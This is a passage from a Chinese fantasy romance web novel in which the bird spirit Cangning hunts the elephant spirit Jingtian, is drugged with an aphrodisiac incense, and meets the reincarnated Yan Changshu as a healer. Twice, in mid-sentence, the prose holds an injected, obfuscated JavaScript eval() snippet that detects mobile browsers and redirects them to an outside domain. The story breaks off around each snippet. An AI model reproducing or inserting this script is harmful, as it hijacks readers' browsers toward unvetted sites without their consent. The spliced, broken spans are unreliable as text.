和她交融在一起时,我难以克制自己累积多年的情感,如山洪般让激情流窜。 我想她留在这里。 我想她停留。 直到她离开了这里,将我推到原来的环境中。直到我再也不能看一卷佛经。 ……这是我的错。 因为我没有尽我所能,做我能做的一切最好的事。 我卑劣至极。 所以,她离开我,是我应得的报应,应有的结果。 她留下了一柄剑,还有我的卍字戒。 如瓶落井,了无消息。 南柯一梦。 - 高珣来找我时,大约是听说了我绝食的消息。 可我没有,我只是在房中等她。 没等到,仅此而已。 他开门时,我正在擦剑。 我问他,苍宁在哪里。 他说他没有听说过。 我问他,苍宁在哪里? 这一次,我带上了一点疑惑。 他不知道苍宁在哪里。 没有人知晓,没有人听说过,一个只存在于我记忆中的人。 高珣笑得高兴,他说我也疯了。 我杀了他。 用她给的剑。但是没有将她唤回来。 高珣趴在地上,狞笑道:“你求求佛吧……和你娘一样,反正……我们都是疯子,我们都要下地狱的……呵呵呵呵……” 重回皇位,只需要杀一个人,一群人。用鲜血染红自己的衣服。 我揉搓着自己的手,宫人颤颤巍巍跪进来,说掌工师傅来了。 我说我要重修清净寺。 “是……是,陛下。” 宫人为何发抖? 我没想明白。 很早之前,在二十年前,他们见到我,都是笑着的。 如今却苦着脸。 我看着盆里的血,停了手。 这不是高珣的血。 是很多人的血。 是父亲徒手掏出胎儿的血。 是母亲死后的血。是伴读的血,老臣的血,宫人的血。 是高珣手中的血。王城里罪恶的血。 我将水盆倾翻了,那些稀释的血落到地面,晕成粉红色,像画。 我伸出自己的手。 这双手沾满鲜血,这个人留着高家人的血脉,性情暴戾,卑劣至极。 这个王朝不如死去。 - 第一次进入清净寺的时候,母亲拉着我的手。 她问我,有没有看见神佛。 我说:“看见了。就在我眼前。” 母亲说,神佛是看不见的。 “母亲不信神吗?” 母亲摇摇头,告诉他: 在太平时,你见不到神,也见不到佛。但是一旦王朝和你都不太平,你就有可能走在接近他们的路上。 “如果我死了呢?会快一点见到吗?” 如果——长书是个好孩子。母亲说。 长书会是个好孩子吗? - 死的时候,我放了一把火。 我很确信,我在火中笑道,我看见了神佛。 可后来还活着的人,都说我当时落了泪。 我下地狱,见不到神与佛。 更见不到苍宁。 穷尽半生,我尽我所能,到头来,只剩错误。 38. 间章·三 苍宁在西天寻得了小罗汉。 这回小罗汉不扫地了,而是蹲在地上,给桃枝浇水。 细嫩的桃枝颤巍巍生出旁枝,长得俏生生的,生出一朵柔嫩的桃花。可谓是逍遥自在。 苍宁失魂落魄地抓住小罗汉,将他吓了吓,她盯着他,嘴唇嗫嚅着,问道:“菩萨骂人没有?” 她面如鬼煞,松了手,坐在台阶上:“不妙不妙,早知道我就不下去找他了,这下完了。” 晏长书杀了高珣,虽说是替天行道,但高珣本来的结局大抵是被叛军杀死。这一趟乱了因果。 苍宁思来想去,唉声叹气,小罗汉道:“大人不必过于自责。师傅说过,这样的结果,是心不定的原因,修行在个人。菩萨在云游,应当知晓。大人之后稍稍避开即可。” “避开?嗯……嗯。”苍宁心扑腾扑腾跳,手心出了汗,攥起来。 怪道西王母说他俩不是一路人。 她虽尝了万年修为的好处,可她为人侠义坦率,性子直爽,看不得不平之事,更没耐心,遇见讨厌的,例如高珣之流,喊打喊杀,遇见喜欢的,恰如晏长书,又忍不了不靠近。 凭着性子做事,难免有几分疏漏,用好心办坏事,事与愿违。 小罗汉直言晏长书本就是蛇身,能修炼成佛,本身就是极不容易的。 “万年听上去长,以尊者原身而言,实则短。尊者的悟性比旁人要厉害许多。但压抑蛇性,一路走来,应当很不容易。” 苍宁摸着手腕上两个血点:“再也不找了,我再也不找了,让他修去。他修他的道,我修我的道,要还他的,日后再说吧。” “现下大人明白,你们为何因果已了?” “一码归一码,等他三世修完,我与他还能说上话。”她问,“晏长书喜欢过别人么?” “什、什么?情关难过,我们,我们佛修和你们不一样。” “晏长书这一世没说过喜欢我。” 苍宁有些焦虑,托着腮,忽然说道:“我不再想了,我要去做其他的事。” 身为瑞鸟,她希望自己带来的一切都是好事。 天帝那头……算不得什么好事。现下晏长书这个,更谈不上帮忙。 真是糟透了。 桃枝吸得天地日月灵气,勃勃生长,成人形指日可待。可另一头的小花,仍是残魄几缕。 苍宁道:“尊者修行多年,想来十分刻苦。应当有不少修行纪要吧。” 小罗汉不得而知。他打理完枝条,收拾完庭院,便合十离开了。 苍宁坐在台阶上发了好一会儿呆,转身进了晏长书屋内。 这间屋子里头布局格外眼熟,同样是一张床,一张桌子,堆满了大量的书册。 她仔仔细细审视了一圈,睁一只眼闭一只眼,眯着眼睛,确定自己没有拿到什么不该拿的佛家宝物,私人笔记,挑些佛法深理,在西天试着运用晏长书度过来的愿力。 如果仅凭她的意愿,可以使用全部的力量的话,算得上美事一桩? 苍宁赖在这里偷师学艺,她还写了封家书,捏成纸鸟形状,飞回三危山,权当报平安。 她以为小罗汉平时打扫屋子,会赶她走,谁知他还说自己固定时间会换被褥,“床自然是用来歇息的,大人既然进来了,便该好好休息。” 说的在理,说的在理。 苍宁直接把这间屋子当成自己的来用,倒也没人管她。 初时,她仍是只会使用幻术,还不自知,恍恍惚惚看见自己鸟头人身在天上飞,大脑一惊,下意识不熟练地扭转时空,真真飞在空中,差点砸了某位菩萨的脑袋。 她虚心打坐,矢志不渝,魄丹处终于流动着一股炽热的力量,渐渐流向自己的四肢百骸。 结合着晏长书书册上的佛理,结印,终于能稍稍参破。 时不时,将小罗汉当做戏弄的对象。 “咦,我刚刚好像浇过水。” 小罗汉挠着头,给桃枝舀水喝。 苍宁偷偷笑,将他移回一炷香前,五次,十次,她笑得肚子疼,小罗汉终于发现了这场闹剧。 “大人你……不可戏弄……”小罗汉红了脸。 “灵尘,你可真逗哈哈哈哈。” 灵尘闷闷打扫完,苍宁捉着他的衣领,带过来,问道:“最近苦心钻研,却不得精妙之法,想寻些诀窍,要不我同你们一同修行?” “不成啊大人,”灵尘囫囵摇头道,“大人和尊者同为灵兽,修行方能得之诀窍,我并非灵兽,恐无能为力。” “那你替我找个佛修的灵兽来,我问他去。” “这……” 灵尘摇摇头,走开了。 苍宁随处游,随处问,西天上无人回答。夜里,她拿着笔在纸上记录,控诉西天冷漠,写到一半,自己觉得没意思,又毁了去。 她坐在阶梯上,月明千里,余光瞥见一身红衣的小花正在扑萤火虫。她手指一紧,掐住自己的肉,屏住呼吸。 小花打了个哈欠,渐渐消失在莲花灯中。 - 苍宁到底还是问来了灵尘不愿意提的那个人。 据说,她名唤净天,曾是菩萨座下的灵象,如今在外逍遥自在,不归西天,视为反叛。 "净天手中有一件法器,听闻有修补之妙,不论是器具,还是人体,抑或是灵魂……都可以恢复如初。” “她在何处?” 灵尘道:“初初听闻在鸣山,后来不知逃到哪里去了。大人此行非去不可吗?在此处等尊者轮回归来,同样能得其法。” 苍宁哼声道:“我有手有脚,平白无故非要我等他做什么?真要我一动不动,不如干脆叫我死了算了。” 灵尘:“那这屋子……” “里边的东西先不动,等我回来自己收拾吧。”苍宁道,“晏长书应当没有那么快回来吧。” 她说着说着,有点心虚。 晏长书第一世修行失败,固然不是她的过错。但是她也不能全部撇开干系。 灵尘传消息过来,说如果后面修行还是失败,就会一直陷于轮回之苦。 灵尘想了想:“接受和放下本就是难事,大人是神,应当明白吧。” “巧了,我没有神位,不是神。天帝把我革职了。”苍宁皱了皱眉,发觉自己也不是很明白,她摆摆手,“反正我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030032|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在不是神,也不是鬼,更不是人,也不是妖。仔细想想,六界不容吧。” 灵尘吃惊道: “那大人在哪条道上修行呢?” “单行道。” 灵尘眨眨眼睛。 苍宁哈哈一笑:“非要说的话,我就只是三危山的青鸾鸟。你可以唤作苍宁道。” 当鸟挺好的。当鸟很自由。 鸟儿有漂亮的羽毛,可以飞往任何一个地方。 这回苍宁尝试用卍法瞬移,只不过失败了好几次,手里还拿着一盏半亮不亮的莲花灯,吓得几个人类以为遇见了鬼。 苍宁无力解释。 鸣山地处人间,很是热闹。 她在鸣山一面玩乐,一面搜寻净天的线索,途中还遇到一堆人举着红牌牌,一位郎君跨马而行,嫌弃她挡了他的道,要她滚远些。 苍宁弯眸一笑,马蹄停在半空,趁时空静止,剥了他的衣裳。等她翩然离去时,听见身后那个颐指气使的郎君啊呀大叫,摔下马来,这才出了口气。 在鸣山还有许多怪事。大白日的有个娘子站在楼顶上扔红球球,说谁抢到红球球,谁就是她的夫君,否则,自己就要被迫嫁给年近七旬的老头。 苍宁抢到了。 娘子的侍从说是个误会,要她把球还回来。苍宁一把推开侍从,迈开步子走到二楼,抱着红球认认真真看着楼下一群嗷嗷待哺的男人,一个一个眯眸指道:“这个,渣男,日后必将纳八房妾。这个,克妻。这个,小偷。这个,还算凑合……可惜阳痿。” 苍宁说得底下男人大发雷霆,冲上来要揪苍宁头发。苍宁一个转身,忽然出现在人群中,忽然又出现在房檐上,忽而横着站在房柱上,把一堆人吓得作鸟兽散。 苍宁:该死,又没控制好。 她将时空倒转回一炷香前,自己迈步上二楼,拉着娘子的手说:“别嫁给他们,我给你五十金。” 霸气,实在是霸气。优雅,实在是优雅至极。貔貅闻之落金,娘子闻之感动。 凑热闹的男人纷纷散去,关上门后,美丽的娘子撕开人面,露出了一只狐狸脑袋,侍从们身形缩小,变作两只田鼠,畏畏缩缩躲在侍从衣裳里,苍宁呆了呆,坐下自己倒茶冷静:“你不是人啊?” 那狐狸笑得眉眼弯弯:“一看你就是刚来人间的小屁妖怪,身法使用得烂不说,单纯又好骗。” 苍宁敲桌:“你这妖怪怎能这样,快把金子还给我!” “竟然是真金,还是神界的好金子呢。”狐狸咬了口金子,包进自己的布袋子里,转身打开窗就要逃:“就当你来人世买个教训嘛。我没抢你手里的莲花灯已经很给面子啦。走咯。” 狐狸一跳,没跳出去。 再一跳,又回到原地。 仿佛鬼打转一样,来来回回做这一个动作。 苍宁笑眯眯地撑着腮:“死狐狸,不还金子就卖个消息。” 狐狸毛茸茸的耳朵警觉地抖了抖,大尾巴落在腿边,惊道:“你的眼睛……你,你也是佛修?!” 苍宁的眼眸一片赤青色:“想来你在此处已久,告诉我,你见过净天么?要是不说,我便杀了你。” 39. 间章·四 小狐狸不光皮毛光亮,还油嘴滑舌,刚刚嬉皮笑脸说给苍宁个教训,现在便求妖怪爷妖怪奶叫苍宁收了神通了。 苍宁弹指,隔空给了她脑门一下,收走了五十金,小狐狸这才说出几句真话。 “净天大王在浮刻山!” 苍宁作势要走。 小狐狸连忙挽留:“浮刻山西北角道上的妙莲洞里!白日去,没有人,晚上去,中陷阱!” “那她何时在?” “嘿嘿嘿~” “谁和你嬉皮笑脸?立正!” 小狐狸僵直身子,尾巴都立正了,忙道:“报告姑奶奶!小可每隔十日给净天大王进献一次男人!郎君们有严格的选拔标准,有过婚配的不要,非八尺男儿不要,油嘴滑舌的不要,需品行好,样貌佳,会琴棋书画加分。净天大王喜欢干净温柔,有魄力的郎君!” “那你怎么在这里找些垃圾。” “嘘嘘,要扩大范围,采纳形式要多种多样才好嘛,”小狐狸噘嘴道,“你都不知道好郎君有多难找!丑陋的最多,偏生还卑劣地要偷仙女的衣裳,还有些英俊的,粗看还像个人,说两句话比叫人泡油锅还难受,被炸出了鸡皮疙瘩!” 若无数位温柔英俊的郎君围在身边……苍宁想不出来,她身旁没那么多符合条件的郎君。 桃枝那样的……咦惹,那吵得耳朵都要聋掉的。 貔大虎……救命,貔大虎该不会很盼着她死吧,这样她的术法失效,他就能找到她的小金库,随心所欲吃金子了。 若是晏长书…… 苍宁想了想那个场面,咽了口口水,问道:“净天都与郎君们做什么?” “当然是与有情人做快乐事啦。” 苍宁暗自咋舌:“吃得消吗?” “要吃好的,吃坏了肚子可不消化~” 苍宁长长“哦”了一声。 都说佛修不沾情爱,但净天来到凡尘中,在情爱中轰轰烈烈,竟然当起大王来了,真是潇洒快活。 有意思。 真有意思。 苍宁展开笑颜,拍桌道:“好,你带我去。若能成事,这五十金便是你的了。” - 阴雨天,浮刻山。 垂丝滴星,朦胧星月隐黄昏。 山间小路上,泥湿路滑,一位戴着幕篱的绝妙娘子拉着一位长相不凡的玉面郎君缓缓前行。 郎君的四方步走得别扭,大尾巴来回扫雨,手上的镣铐束着,半点由不得自己。 他刚想扭扭裤//裆,被小娘子一拽,差点扑倒泥里去。 “姑奶奶,我没变过男的,我这……我这不舒服。” 苍宁一个眼刀扫过去,小狐狸吓得尾巴起立,被迫闭上了嘴。 钱难挣,屎难吃。 小狐狸感叹苍宁和净天大王一个比一个蛮横。 倏尔,一阵暖风吹拂,异香迭起,叫人神魂意乱。 苍宁正色,小声道:“把尾巴收起来。” 小狐狸收起尾巴,眼睛滴溜溜地转。 树冠纷鸣,雨湿人衣。 只听得空山中传出一道清脆空灵的钵盂声,望不到底的山路竟然在尽头渐渐幻化出三重山门。滴着雨珠的山门后,一座巍峨神气的佛庙玉门大开,香炉袅袅生烟,金碧辉煌的牌匾上,赫然刻着“净天寺”三个字。 苍宁脚步一顿,望向小狐狸变作的玉面郎君。小狐狸不能说话,撇着眉毛朝她点了点头,表示就是这里。苍宁笑了笑,将小狐狸缓缓拉上去。 她丝毫不怕,小狐狸却耷拉着无形的耳朵,怯生生跟着往庙宇里走。 这庙宇外面看上去和其他庙宇没有什么不一样,可是内里却奇光异彩,大为不同。 且不说香炉中飘来的并非烟火气,而是那股子奇特异香,搅得人气息不稳,遍体生暖。 佛殿的牌匾上刻着的也不是“大雄宝殿”,而是“醉生梦死”“慧眼无边”。 刻的不是“自在佛,度一切苦厄”,而是“逍遥乐,释无边情爱”。 再一声钵盂声,如钟如磬。 渺渺梵音从佛殿中传来。 苍宁步入大殿,抬头一望,莲花台上坐着的不是大慈大悲释迦摩尼佛,而是云鬓花冠,三头六臂,赤精上身的象鼻娘子! 她双耳坠着石榴色宝石,丽质天衣半落腰间,绣满宝相花,细长优美的脖颈上挂着珠宝璎珞,身姿怡然,盘坐在莲花台上。 面向苍宁的一面持无畏佛手印,意为安抚众生,每一只手都生着一只狭长的眼睛,优美的肚脐上同样生着一只眼睛,它们形态各异,都饶有兴致地盯着苍宁。 香炉中的异香更浓。 苍宁听见身后有一阵银铃飘过,警觉朝后一看,并无一物。紧接着,屋外的光线再度变得漆黑,雨下大了,天黑洞洞的,冷肃的风吹得香炉中的火光一明一灭,佛殿门哐哐响。 净天魅惑的笑声便是从此时滑入苍宁的脑中,似风、似雨、似香炉亮白的烟,充斥于身体中。 苍宁的意识模糊一瞬。她伸手一瞧,小狐狸飞快地挣脱了她,耷拉着耳朵在地上匍匐着跳出佛庙,逃走了! 她四处瞧,四处都能瞧见净天的面庞,四处走,四处都能听见净天银铃般的笑声。媚而不妖,酥而不软,杳杳佛光笼罩,也成了她调味情趣的好物。 苍宁咬破嘴唇方清明,她伸手取下腰间神刀横劈过去,净天被劈成两半后仍是生龙活虎,嗤嗤在笑,苍宁这才知走入佛庙开始已是幻术。 净天的声音如浮在空中,十分惑人:“小娘子何故来此?” 苍宁闭眼捏印,再睁开,净天身影燃起赤青色的火焰,雨浇不灭。 净天当下吃了一惊,忙游荡开。苍宁将幻术中的时空困在这一小小的时间段,净天无处可逃,回头瞧她,发现苍宁眼中已然有了两枚卍字。 “阁下何以用幻术困我!” 净天大为震惊:“你竟——?!” 只见雨珠凝在空中,一阵凌厉刀光铺天盖地朝净天飞去,幻术霎时崩裂——净天寺消失在重重雨帘,浮刻山恢复了月朗星寒。 停在空中的雨啪嗒一声忽然全部下下来,苍宁和净天一人站在一棵树冠上,两人的衣裳干净而清爽。 苍宁终于得以见到净天的真身。 一头两臂,是一个颇为妙曼的成熟人形女子。苍宁平日也得意于自己的美貌,可见到净天,她不得不承认,这个女人美得惊人。 净天身上的璎珞簌簌生音,帔帛飘带迎风飘舞,她仔细打量苍宁,笑道:“真是既厉害、年轻又漂亮的小娘子,竟有长书尊者的法力。原来他瞧上了你……呵,你与他双修了?” 她讲出来的话叫苍宁一愣。 苍宁蹙眉:“我此行来找你,是为求能借你手中法器一用。我有一个朋友,失了几魂,正在莲花灯中养魄,希望可以恢复常身,重返世界。” “你故意不回答我的话么?”净天娇媚诡柔,伸出长指,只见数枚长针以迅雷不及掩耳之力飞向苍宁—— 苍宁伸手弹开,净天一掌毫不留情地将她打下树冠,一掌接一掌,丝毫不留喘息的机会。 她落到地上,以刀相抵,最后退无可退,正待反刀而向之时,她手腕的血点刺了刺,苍宁感觉那股热流从手腕抵达四肢百骸,最后刺痛双眸,在净天挥掌而来的关键时刻瞬间张开了金色的半圆形—— 当!—— 巨大的钵盂声将净天震得神志恍惚。 净天被金色的结界弹到树冠上,翻身而上,自高处俯视苍宁,眼眸中划过一丝趣味。 随后,她肯定地笑道:“你与他双修了。” 怎、怎么又是双修! 苍宁嘟囔道:“我哪有!” 金色的结界因净天的杀气散去,而缓缓收回苍宁的眼睛里。 净天长指轻点下巴:“我曾向他提出这个要求,尽我之能。但他拒绝了我。那人骨子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她眉目攒动,尔后,她向苍宁拿过莲花灯,看了看里头沉睡的小花,翻手将莲花灯一扔,不知扔到哪里去了。 苍宁急道:“你好歹是佛修,怎能如此不在乎旁人性命?” “我早已答应帮你的忙。” “真的?”苍宁将信将疑,净天何时答应要帮她了? “长书尊者是我的老熟人,既然有他照拂你,我当然会答应。只不过……”净天重新扬起笑容,变得娇媚动人。她如晚风轻柔,落到苍宁身边,抓住苍宁的手,笑眯眯道:“好妹妹,与我双修吧?” “啊?不行不行——” 净天噗嗤一笑,转了个圈,绕着她,饶有兴味道:“你叫什么名字?” “苍宁。” “好名字。”净天伸手,腕子上的璎珞和银铃发出清脆悦耳的响声,带出一阵金光闪闪的香粉。 “要你与我双修呢,是我开玩笑的。但是想要救你的朋友,的确另有条件。” “什么条件?” 净天俯身,贴在苍宁耳边,妩媚多情,叫人心波荡漾。 “晏长书是最不会沾染情爱之人。既然你说,他如凡尘俗子一般钟意于你,那么——你去将他诱来。” 苍宁猛地抬眼,感觉身体一阵滚烫。 净天长指在她脖颈后打转,所到之处令苍宁发颤。 净天给她下了东西! 净天往后退一步,扬起下巴,拉长音调,懒洋洋笑道:“呵,只要高高在上的尊者,愿意当着我的面承认,他抛下了以往全部的偏见,沉溺于无用的情爱,他的心中有了杂念——我便立刻帮你。” “你给我下了什么?” “一点助兴的媚香罢了,如果他当真爱你,便能叫你们欲/仙/欲/死……呵。” 苍宁推开她:“他在人世轮回修行,我怎能害他!” 银铃颤颤,佛光微起。 净天作飞天状,渐渐消失在昏暝。 只留下一串惑人心神的笑声。 “若他当真有了杂念,当真爱你,在哪里修行,在不在修行,都在地狱。” ——“去吧,小东西。” ——“你朋友尚在我手中,千万别叫我失望。” 40. 第二世·一 小狐狸跑得不见踪影,雾气团绕的浮刻山上,只剩下一只伤心鸟。 苍宁跌跌撞撞走下山坡,缭绕的水汽无法平息她心中的火,意识逐渐朦胧,她皱眉撇开碍事的衣领,横着眉,心里将净天狠狠骂了一遭。 不是佛修么!搜刮些郎君你情我愿也便罢了,怎么尽做些卑劣手段! 苍宁扶着刀平稳心思,迷迷糊糊见到变回原身的小狐狸,叼着一壶水过来。 “姑奶奶,喝口水吧。” 苍宁盯着她。 “我没下药。”小狐狸自己喝了一口,摇摇尾巴,用长长的吻部将水推过来,“姑奶奶您喝水缓缓。” 苍宁见罢,垂下头,见濯濯清水中,自己一张面容犹若桃花,眸光绽若春月,额前香汗淋漓,生出无端魅惑之意。 她饮水毕了,小狐狸四只爪爪团起来,毛茸茸的胸脯一撮干干净净的白毛,端坐在她面前,劝说道: “姑奶奶要成事,便往东边去吧。我都打听好了,您要找的那个人在此外正东方八十里的曲阳城。他出生贵族,年少有才,生得英俊,可惜被圣上抄了家,当下经营着一间简陋的医铺,卖些药材度日。” “你是来替净天传话的?” “是……也不是,我行走世间,没有净天大王和姑奶奶这么大的本事,若能得您青睐,也是我的福气嘛。” 小狐狸提溜着眼珠子,转了一圈: “姑奶奶别怪我话说得直白。这事儿若能成,净天大王能如意,姑奶奶能救上人,岂不是双喜临门?” 苍宁暗笑:“你要什么?五十金?” 小狐狸抖了抖耳朵,摇摇头:“能卖姑奶奶一桩人情,不是比五十金要珍贵多了?” “你这狐狸——”心思比山路十八弯还多! “我叫阿萍,若姑奶奶有什么不方便的,唤我便是。”小狐狸说道:“姑奶奶,还需要水吗?我再打些来?” “快别叫我姑奶奶了。你真要叫,和旁人一样,唤我‘大人’便行了。” 苍宁扶着剑起来,深喘了一口。 阿萍说往日带来的郎君,净天并不会给他们下药。 净天讲究的是两情相愿,自在快活,但有些恶劣渣男,见着净天起了色心,净天便会让她绑过来,叫他们尝尝暖香的威力。 净天喜欢看男人求之不得,凄然死去。 据说这香是净天尚在西天时亲手调配的暖香。染上此香者,若离所爱之人十丈远,必会身如蚁爬,受情/欲折磨。 并且,不管有无所爱之人,此香都能激发出最淫/邪之本性,月圆之夜最甚。时间一长,若净天不解香,便会丧失理智,成为寻欢作乐的动物,最后虚脱而死。 因净天有时要管人问话,阿萍这里备着压制淫性的药丸,异常宝贵,仅有一颗。 “大人若功力深厚,也只可忍一时,不能解其法。方才我窃闻,那郎君会修行转世,既然如此,他若肯帮你,随口说说又何妨。”阿萍道,“世人都说我们狐族狡猾爱骗人,可人又比我们好在哪?凡人撒的谎一点不比我们少。可若是谎言能救人,一个两个又如何?” 苍宁道:“他,他稍微有点不一样——” “有什么不一样,他现在是人了,”阿萍甩了甩尾巴,“人都是一样的。都爱撒谎。” 苍宁收了阿萍的药丸。 可苍宁仍不死心。 她想要从源头上解决这个问题,漫山遍野寻找净天的影子,可惜根本没有找到净天。她运其神力逼迫热气褪去,却是无用。 眼瞧着真下起雨来,苍宁身子热得难受,她冲进雨水中变为鸟身上下快速穿梭在云层中,企图吸纳更多水汽凉快凉快。 随着身体越来越烫,她下意识往觉得舒适些的区域滑行而去。 不知道飞行了多久,也不知道身在何处,直到雨日残阳,青鸾啼鸣。 八十里外的曲阳城中百姓见此瑞景,纷纷跪地祈愿。 不行,不能这个模样出现,神界—— 就在此时,苍宁失去了意识。 - 小鸟都是很在乎羽毛的。 苍宁在鬼界被鬼气侵蚀,过了很长一段抑郁的日子,甚至被逼到疯疯癫癫,她现在都不记得自己那段日子怎么过来的。 当时,她的羽毛稀疏,镜子都不敢照。 她原本有一身很漂亮的羽毛,白青色交织,没有一只青鸾会有两色羽毛,她是独一无二的,她非常骄傲。 如今,她的羽毛被晏长书养好了,昏昏沉沉醒来第一件事也是想着自己漂亮的尾巴毛是不是被折断了。 唔…… 药的味道。 纯正的药的味道,不是她端给晏长书那些乱七八糟的香料,是真正的药。闻起来很苦,比命还苦。 唔……唔!这药怎么灌到她的嘴巴里来了!呸——苦死了! 苍宁呛了一口,刷得睁开眼:“呸呸哕!” 她还来不及张开翅膀,一张凑得极近的嘟嘟脸颊产生了困惑的表情。 抓住她鸟身子的小屁孩眨巴了两下眼睛,转头指着苍宁道:“大夫,这只灰溜溜的鸟反抗得好激烈,生龙活虎的,我感觉它不用喝药了。” 什么?什么灰溜溜? 苍宁暴怒大骂:“我可是青鸾末裔,天地间唯一的青鸾鸟!我的羽毛很漂亮!很漂亮!哪里灰溜溜了!你才是个灰溜溜的家伙!” 喳喳喳喳叽叽叽叽!哗哗啾啾啾啾咕哚嘤! 小屁孩把苍宁抓起来,感叹道:“哇,鸟叫好吵啊……总感觉,它骂得很脏。” 哼,知晓就好!闭嘴! 苍宁一个鸟爪踢到小屁孩脸上,留了一个灰扑扑的爪印,扑腾翅膀挣扎回到方才的软垫上。 她嘴里还在嘀嘀咕咕不知本神真面目,看见旁边擦拭得溜光的戥秤,跳上去。 不看不知道,一看吓一跳! 虽说她刻意变化了稍微不起眼的样子,不让神界找到,但,但—— 这干净到反光的戥秤上反射出小鸟漂亮的羽冠,耷拉着;小鸟华贵的尾羽,折断了;白青交织的丰满羽毛全是泥水,灰不拉几的,羽管戳了出来,整只鸟潦里潦草,比灰溜溜还灰溜溜! 苍宁呆滞了。 不叫了。 崩溃了。 这不是她,她不相信!! “晏大夫,它把戥秤弄脏了。” 小屁孩嫌弃地拿出软布,想要把她从戥秤中赶出来:“你 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见苍宁的反应,晏长书冷着的眉眼终于带上点笑意,好似冰河融化,暖暖迎春。 “嗯,看起来很精神。”他微微勾唇,对身旁的人道,“念安,去打盆温水。” “欸。”那个叫念安的小屁孩恭恭敬敬说道,“晏大夫,要不要我将这戥秤也拿去洗一洗?” “不必了,让小家伙缓缓吧。” 晏长书挠了挠苍宁的下巴:“怎么了,嗯?” 他的声音含着低低的笑,似乎有种极力压抑的愉悦,尾音往上,勾勾带着颤。 好不容易见到晏长书,若撇开其他,她肯定是会高兴的。 可她明明说不来找他的…… 可她明明……去做其他事情了…… 结果兜兜转转,总是事与愿违,在最坏的情况……她还是遇到了他。 苍宁更绝望了。 还是在她这么丑的时候,被晏长书整个看了个遍。 苍宁简直要抑郁了。 正值此时,随着一声“来了来了!小鸟入浴咯!”念安很快打来温水,放在药柜上。 苍宁半眯着鸟眼,无比丧气,半点不肯动。 她瞅着光溜的秤上自己的影子,用鸟喙啄自己的身影解压。 嘟嘟嘟。 嘟嘟嘟—— 晏长书瞧她这样,将念安打发出去,将她托到手心。 暖暖的鸟肚子,小小的一团。 手心处有一颗小小的心脏在跳动。 苍宁萎靡不振地啾了一声,转过身,用鸟屁股对着他。后来想起自己的尾羽断了,又转回来。 上下左右都不行,都是丑! 苍宁歪着鸟头暗暗瞅了眼晏长书的表情。 晏长书勾着唇,在笑。 时隔一世,他看上去更好了。而且,还是这么好看,让人移不开眼睛。 而她这么丑,这么狼狈,没有办好应该办的事情…… 想到这里,苍宁两只透亮的圆眼莫名掉下眼泪来。 鸟生气地哭了。 41. 第二世·二 苍宁不是爱哭。 她扑通一声跳进水中,扑腾了一翅膀水,也分不清是清水还是泪水。 水刚刚没过鸟肚子,温度适中,很舒服。她洗了半池子泥水。 途中,为确保她能享用足够舒适的水温,晏长书将小鸟从水中拿出来,换了一盆热水。 苍宁歪着头,跳到他苍白有力的手腕上,鸟尾巴滴着水,碰了他一下,又仓皇跳开。不知道是不是她的错觉,她总觉得一接触到他,从鸟爪子处便慢慢爬上一股酸软的痒意。 可晏长书不知道这些。 晏长书小心翼翼地帮她擦拭泥水,瘦劲的长指一点点撩动她的羽毛,搔刮她的翅膀下的绒毛。苍宁极致舒服之余,很快又发觉到自己的身体正缓慢回应着他的动作,蒸腾出那股撩人的热气。 叽叽咕嘤! 不对劲不对劲! 小鸟再度扑腾翅膀—— 叽叽咕嘤!大事不妙! 醒来时,苍宁没觉得热,还以为自己的力量已然化解了净天的暖香,谁曾想根本没有解掉! 晏长书的指弯一顺她的毛,她就直哆嗦,腿颤颤地站不住。 偏生他的手指还要挠她下巴,她情不自禁地晃悠身子,觉得潮湿又滚烫,脑子晕乎乎的。 他的手指到了胸脯的绒毛里…… 诶呀,不行! 苍宁软得鸟喙都使不上力,恶狠狠啄了他手指好几下,他的指尖卡在她嘴里,一点点,可连个印儿都没留下。 苍宁扑腾一下,张开翅膀,作凶恶状。 “好凶。” 没错! 苍宁挺起胸脯,凶巴巴地叫唤:别靠近我,小心我把你吃了! 叽叽嘤! 苍宁从水里跳出来,甩掉身上多余的水,溅了他一身雨点子。 晏长书笑了笑,用干爽的软布将她包起来,连断掉的尾羽也细细致致擦干净。 晏长书这一世脾气似乎格外好,她怎么蹦跶他都不反抗、不拒绝、不生气,对她特别温柔…… 苍宁刚刚还坚定的神志一秒又沦陷下去,眯着鸟眼舒舒服服地享受。 可身体越来越烫,意识逐渐脱壳,苍宁回过神来,才发现自己咬着他的指尖,往脖颈里的绒羽里送。 她情不自禁地翘起了鸟尾,摇来扭去…… 苍宁:! 晏长书在笑。 看见他的表情,她狠狠咬了他一口。 咬的是他,警醒的是自己。 可恶,她不能栽倒在小小暖香下,打破自己“再也不找他”的诺言吧。她是报恩鸟,是瑞鸟!可是,净天那边,小花那边…… 苍宁强制将心头的热意压下去,希望这样可以抑制住身体中粘稠潮湿的雨。 她张开翅膀,不等晏长书给她擦完水,便飞走了。 苍宁听见他低声着急留住她,但是她没有回头。 她现在是鸟身,晏长书也没了之前的记忆,他不会对一只小鸟有什么感情的。 灵尘都说了,她对尊者来说是吃肉的鹰,是大爱下的庇护者,这次……这次情况特殊,她就当是大爱了。 可说是这么说,苍宁一飞离他的身边,便觉骨子里那股痒意愈发难以压制,行动难以为继。 踌躇半天,她还是飞回了医铺旁,蹲在医铺旁高高的凤凰木上,盯着晏长书。 只要回到他身边,那难耐感就减轻了许多,也只是一些:她还能控制自己的意识,不至于做些令自己感到羞耻的行为。 幸好,晏长书没有注意到她。 但是苍宁注意到了医铺浪费粮食的恶习。 念安有时候会把碾碎的不要的水果,黄灿灿的小麦粒,尽数丢在医铺窗台的一个小盘子里。苍宁会趁着没人的时候,去小盘子里补充些水分。 有时候她见念安撅着嘴,一脸不服气地把一小撮切碎的精熟肉放在小盘子里,便带着讨厌小屁孩浪费粮食的心思把东西吃了个精光。 